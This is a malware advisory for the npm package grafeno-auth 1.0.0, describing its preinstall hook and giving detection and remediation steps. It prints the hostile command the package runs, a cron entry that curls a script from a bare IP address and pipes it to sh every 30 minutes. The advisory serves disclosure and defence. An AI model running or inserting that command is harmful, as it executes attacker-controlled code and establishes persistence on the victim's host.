grafeno-authnpm
Advisory published Updated
grafeno-auth is a confirmed malicious npm package (MAL-2026-15502) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in grafeno-auth (npm)
What this malware does
package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.
The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for grafeno-auth (version 1.0.0).
If you installed it — respond
Remove grafeno-auth from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-auth was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks grafeno-auth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.